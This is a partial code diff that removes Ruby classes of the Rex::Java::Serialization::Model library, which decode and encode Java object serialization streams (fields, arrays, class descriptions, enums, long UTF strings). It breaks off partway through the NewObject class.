||||||
elem = self.new(stream)
|
|
||||||
elem.decode(io)
|
|
||||||
end
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
self.stream = stream
|
|
||||||
end
|
|
||||||
|
|
||||||
def decode(io)
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
def encode
|
|
||||||
''
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
self.class.name.split('::').last
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,12 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
class EndBlockData < Element
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,173 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a field description representation (fieldDesc). It's used for
|
|
||||||
# both primitive descriptions (primitiveDesc) and object descriptions (objectDesc).
|
|
||||||
class Field < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute type
|
|
||||||
# @return [String] The type of the field.
|
|
||||||
attr_accessor :type
|
|
||||||
# @!attribute name
|
|
||||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
|
|
||||||
attr_accessor :name
|
|
||||||
# @!attribute field_type
|
|
||||||
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
|
|
||||||
attr_accessor :field_type
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.type = ''
|
|
||||||
self.name = nil
|
|
||||||
self.field_type = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::Field
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
code = io.read(1)
|
|
||||||
|
|
||||||
unless code && is_valid?(code)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field'
|
|
||||||
end
|
|
||||||
|
|
||||||
self.type = TYPE_CODES[code]
|
|
||||||
self.name = Utf.decode(io, stream)
|
|
||||||
|
|
||||||
if is_object?
|
|
||||||
self.field_type = decode_field_type(io)
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::Field
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless name.kind_of?(Rex::Java::Serialization::Model::Utf)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
|
||||||
end
|
|
||||||
|
|
||||||
unless is_type_valid?
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
encoded << TYPE_CODES.key(type)
|
|
||||||
encoded << name.encode
|
|
||||||
|
|
||||||
if is_object?
|
|
||||||
encoded << encode_field_type
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Whether the field type is valid.
|
|
||||||
#
|
|
||||||
# @return [Boolean]
|
|
||||||
def is_type_valid?
|
|
||||||
if TYPE_CODES.values.include?(type)
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
# Whether the field type is a primitive one.
|
|
||||||
#
|
|
||||||
# @return [Boolean]
|
|
||||||
def is_primitive?
|
|
||||||
if PRIMITIVE_TYPE_CODES.values.include?(type)
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
# Whether the field type is an object one.
|
|
||||||
#
|
|
||||||
# @return [Boolean]
|
|
||||||
def is_object?
|
|
||||||
if OBJECT_TYPE_CODES.values.include?(type)
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = "#{name} "
|
|
||||||
if is_primitive?
|
|
||||||
str << "(#{type})"
|
|
||||||
else
|
|
||||||
str << "(#{field_type})"
|
|
||||||
end
|
|
||||||
|
|
||||||
str
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Whether the type opcode is a valid one.
|
|
||||||
#
|
|
||||||
# @param code [String] A type opcode
|
|
||||||
# @return [Boolean]
|
|
||||||
def is_valid?(code)
|
|
||||||
if TYPE_CODES.keys.include?(code)
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the `field_type` attribute.
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
|
||||||
def encode_field_type
|
|
||||||
allowed_contents = [Utf, Reference]
|
|
||||||
|
|
||||||
unless allowed_contents.include?(field_type.class)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = encode_content(field_type)
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes the `field_type` value.
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Java::Serialization::Model::Utf]
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed
|
|
||||||
def decode_field_type(io)
|
|
||||||
allowed_contents = [Utf, Reference]
|
|
||||||
type = decode_content(io, stream)
|
|
||||||
|
|
||||||
unless allowed_contents.include?(type.class)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type'
|
|
||||||
end
|
|
||||||
|
|
||||||
type
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,48 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a Long Utf string representation
|
|
||||||
class LongUtf < Utf
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::LongUtf
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
raw_length = io.read(8)
|
|
||||||
if raw_length.nil? || raw_length.length != 8
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
|
|
||||||
end
|
|
||||||
self.length = raw_length.unpack('Q>')[0]
|
|
||||||
|
|
||||||
if length == 0
|
|
||||||
self.contents = ''
|
|
||||||
else
|
|
||||||
self.contents = io.read(length)
|
|
||||||
if contents.nil? || contents.length != length
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::LongUtf
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def encode
|
|
||||||
encoded = [length].pack('Q>')
|
|
||||||
encoded << contents
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,229 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a NewArray (Java Array) representation
|
|
||||||
class NewArray < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute array_description
|
|
||||||
# @return [Java::Serialization::Model::ClassDesc] The description of the array
|
|
||||||
attr_accessor :array_description
|
|
||||||
# @!attribute type
|
|
||||||
# @return [String] The type of the array values
|
|
||||||
attr_accessor :type
|
|
||||||
# @!attribute values
|
|
||||||
# @return [Array] The contents of the java array
|
|
||||||
attr_accessor :values
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.array_description = nil
|
|
||||||
self.type = ''
|
|
||||||
self.values = []
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::NewArray
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
self.array_description = ClassDesc.decode(io, stream)
|
|
||||||
stream.add_reference(self) unless stream.nil?
|
|
||||||
self.type = array_type
|
|
||||||
|
|
||||||
values_length = decode_values_length(io)
|
|
||||||
|
|
||||||
values_length.times do
|
|
||||||
value = decode_value(io)
|
|
||||||
self.values << value
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::NewArray
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless array_description.kind_of?(ClassDesc)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
encoded << array_description.encode
|
|
||||||
|
|
||||||
encoded << [values.length].pack('N')
|
|
||||||
|
|
||||||
values.each do |value|
|
|
||||||
encoded << encode_value(value)
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = "#{type}, "
|
|
||||||
values_data = values.collect {|v| "#{v}"}
|
|
||||||
str << "#{values_data}"
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Deserializes the NewArray length
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Integer] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_values_length(io)
|
|
||||||
values_length = io.read(4)
|
|
||||||
if values_length.nil? || values_length.length != 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray'
|
|
||||||
end
|
|
||||||
|
|
||||||
values_length.unpack('N')[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Extracts the NewArray data type
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid
|
|
||||||
# or type isn't supported
|
|
||||||
def array_type
|
|
||||||
if array_description.nil?
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description'
|
|
||||||
end
|
|
||||||
|
|
||||||
unless array_description.kind_of?(ClassDesc)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class'
|
|
||||||
end
|
|
||||||
|
|
||||||
desc = array_description.description
|
|
||||||
|
|
||||||
if desc.class == Reference
|
|
||||||
ref = desc.handle - BASE_WIRE_HANDLE
|
|
||||||
desc = stream.references[ref]
|
|
||||||
end
|
|
||||||
|
|
||||||
unless desc.class_name.contents[0] == '[' # Array
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description'
|
|
||||||
end
|
|
||||||
|
|
||||||
decoded_type = desc.class_name.contents[1]
|
|
||||||
if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type)
|
|
||||||
return PRIMITIVE_TYPE_CODES[decoded_type]
|
|
||||||
elsif decoded_type == 'L' # L : Object
|
|
||||||
return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class
|
|
||||||
else
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a NewArray value
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Fixnum, Float] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
|
|
||||||
def decode_value(io)
|
|
||||||
value = nil
|
|
||||||
|
|
||||||
case type
|
|
||||||
when 'byte'
|
|
||||||
value = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
|
|
||||||
value = value.unpack('c')[0]
|
|
||||||
when 'char'
|
|
||||||
value = io.read(2)
|
|
||||||
unless value && value.length == 2
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value = value.unpack('s>')[0]
|
|
||||||
when 'double'
|
|
||||||
value = io.read(8)
|
|
||||||
unless value && value.length == 8
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value = value.unpack('G')[0]
|
|
||||||
when 'float'
|
|
||||||
value = io.read(4)
|
|
||||||
unless value && value.length == 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value = value.unpack('g')[0]
|
|
||||||
when 'int'
|
|
||||||
value = io.read(4)
|
|
||||||
unless value && value.length == 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value = value.unpack('l>')[0]
|
|
||||||
when 'long'
|
|
||||||
value = io.read(8)
|
|
||||||
unless value && value.length == 8
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value = value.unpack('q>')[0]
|
|
||||||
when 'short'
|
|
||||||
value = io.read(2)
|
|
||||||
unless value && value.length == 2
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value = value.unpack('s>')[0]
|
|
||||||
when 'boolean'
|
|
||||||
value = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
|
|
||||||
value = value.unpack('c')[0]
|
|
||||||
else # object
|
|
||||||
value = decode_content(io, stream)
|
|
||||||
end
|
|
||||||
|
|
||||||
value
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes an NewArray value
|
|
||||||
#
|
|
||||||
# @param value [<Fixnum, Float>] the value to serialize
|
|
||||||
# @return [String] the serialized value
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
|
||||||
def encode_value(value)
|
|
||||||
res = ''
|
|
||||||
|
|
||||||
case type
|
|
||||||
when 'byte'
|
|
||||||
res = [value].pack('c')
|
|
||||||
when 'char'
|
|
||||||
res = [value].pack('s>')
|
|
||||||
when 'double'
|
|
||||||
res = [value].pack('G')
|
|
||||||
when 'float'
|
|
||||||
res = [value].pack('g')
|
|
||||||
when 'int'
|
|
||||||
res = [value].pack('l>')
|
|
||||||
when 'long'
|
|
||||||
res = [value].pack('q>')
|
|
||||||
when 'short'
|
|
||||||
res = [value].pack('s>')
|
|
||||||
when 'boolean'
|
|
||||||
res = [value].pack('c')
|
|
||||||
when Element
|
|
||||||
res = value.encode
|
|
||||||
else # object
|
|
||||||
res = encode_content(value)
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,57 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a NewArray (Java Array) representation
|
|
||||||
class NewClass < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute array_description
|
|
||||||
# @return [Java::Serialization::Model::ClassDesc] The description of the class
|
|
||||||
attr_accessor :class_description
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.class_description = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::NewClass
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
self.class_description = ClassDesc.decode(io, stream)
|
|
||||||
stream.add_reference(self) unless stream.nil?
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::NewClass
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless class_description.kind_of?(ClassDesc)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
encoded << class_description.encode
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
print_content(class_description)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,154 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a newClassDesc representation
|
|
||||||
class NewClassDesc < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization
|
|
||||||
|
|
||||||
# @!attribute class_name
|
|
||||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the class
|
|
||||||
attr_accessor :class_name
|
|
||||||
# @!attribute serial_version
|
|
||||||
# @return [Fixnum] The java class serial version
|
|
||||||
attr_accessor :serial_version
|
|
||||||
# @!attribute flags
|
|
||||||
# @return [Fixnum] The java class flags
|
|
||||||
attr_accessor :flags
|
|
||||||
# @!attribute fields
|
|
||||||
# @return [Array] The java class fields
|
|
||||||
attr_accessor :fields
|
|
||||||
# @!attribute class_annotation
|
|
||||||
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
|
|
||||||
attr_accessor :class_annotation
|
|
||||||
# @!attribute super_class
|
|
||||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
|
|
||||||
attr_accessor :super_class
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.class_name = nil
|
|
||||||
self.serial_version = 0
|
|
||||||
self.flags = 0
|
|
||||||
self.fields = []
|
|
||||||
self.class_annotation = nil
|
|
||||||
self.super_class = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::NewClassDesc
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
self.class_name = Utf.decode(io, stream)
|
|
||||||
self.serial_version = decode_serial_version(io)
|
|
||||||
stream.add_reference(self) unless stream.nil?
|
|
||||||
self.flags = decode_flags(io)
|
|
||||||
fields_length = decode_fields_length(io)
|
|
||||||
fields_length.times do
|
|
||||||
field = Field.decode(io, stream)
|
|
||||||
self.fields << field
|
|
||||||
end
|
|
||||||
|
|
||||||
self.class_annotation = Annotation.decode(io, stream)
|
|
||||||
self.super_class = ClassDesc.decode(io, stream)
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::ClassDescription
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
|
|
||||||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
|
||||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc'
|
|
||||||
end
|
|
||||||
encoded = ''
|
|
||||||
encoded << class_name.encode
|
|
||||||
encoded << [serial_version].pack('q>')
|
|
||||||
encoded << [flags].pack('C')
|
|
||||||
encoded << [fields.length].pack('n')
|
|
||||||
fields.each do |field|
|
|
||||||
encoded << field.encode
|
|
||||||
end
|
|
||||||
encoded << class_annotation.encode
|
|
||||||
encoded << super_class.encode
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = "#{class_name}, [ "
|
|
||||||
fields_str = []
|
|
||||||
fields.each do |field|
|
|
||||||
fields_str << field.to_s
|
|
||||||
end
|
|
||||||
str << "#{fields_str.join(', ')} ]"
|
|
||||||
|
|
||||||
case super_class.description
|
|
||||||
when NewClassDesc
|
|
||||||
str << ", @super_class: #{super_class.description.class_name.to_s}"
|
|
||||||
when Reference
|
|
||||||
str << ", @super_class: #{super_class.description.to_s}"
|
|
||||||
end
|
|
||||||
|
|
||||||
str
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Deserializes a class serial version
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Integer] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_serial_version(io)
|
|
||||||
raw_serial = io.read(8)
|
|
||||||
if raw_serial.nil? || raw_serial.length != 8
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
|
|
||||||
end
|
|
||||||
|
|
||||||
raw_serial.unpack('Q>')[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a class flags
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Integer] if deserialization is possible
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_flags(io)
|
|
||||||
raw_flags = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
|
|
||||||
|
|
||||||
raw_flags.unpack('C')[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a class fields length
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Integer] if deserialization is possible
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_fields_length(io)
|
|
||||||
fields_length = io.read(2)
|
|
||||||
if fields_length.nil? || fields_length.length != 2
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
|
|
||||||
end
|
|
||||||
|
|
||||||
fields_length.unpack('n')[0]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,79 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a NewEnum (Java Enum) representation
|
|
||||||
class NewEnum < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute enum_description
|
|
||||||
# @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum
|
|
||||||
attr_accessor :enum_description
|
|
||||||
# @!attribute constant_name
|
|
||||||
# @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum
|
|
||||||
attr_accessor :constant_name
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.enum_description = nil
|
|
||||||
self.constant_name = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::NewEnum
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
self.enum_description = ClassDesc.decode(io, stream)
|
|
||||||
stream.add_reference(self) unless stream.nil?
|
|
||||||
self.constant_name = decode_constant_name(io)
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::NewEnum
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless enum_description.kind_of?(ClassDesc) &&
|
|
||||||
constant_name.kind_of?(Utf)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
encoded << enum_description.encode
|
|
||||||
encoded << encode_content(constant_name)
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
constant_name.to_s
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Deserializes the NewEnum constant name
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed
|
|
||||||
def decode_constant_name(io)
|
|
||||||
content = decode_content(io, stream)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
|
|
||||||
|
|
||||||
content
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,235 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a NewObject (Java Object) representation
|
|
||||||
class NewObject < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute class_desc
|
|
||||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object
|
|
||||||
attr_accessor :class_desc
|
|
||||||
# @!attribute class_data
|
|
||||||
# @return [Array] The data of the object
|
|
||||||
attr_accessor :class_data
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.class_desc = nil
|
|
||||||
self.class_data = []
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::NewObject
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
self.class_desc = ClassDesc.decode(io, stream)
|
|
||||||
stream.add_reference(self) unless stream.nil?
|
|
||||||
|
|
||||||
case class_desc.description
|
|
||||||
when NewClassDesc
|
|
||||||
self.class_data = decode_class_data(io, class_desc.description)
|
|
||||||
when Reference
|
|
||||||
ref = class_desc.description.handle - BASE_WIRE_HANDLE
|
|
||||||
self.class_data = decode_class_data(io, stream.references[ref])
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::NewObject
|
|
||||||
#
|
|
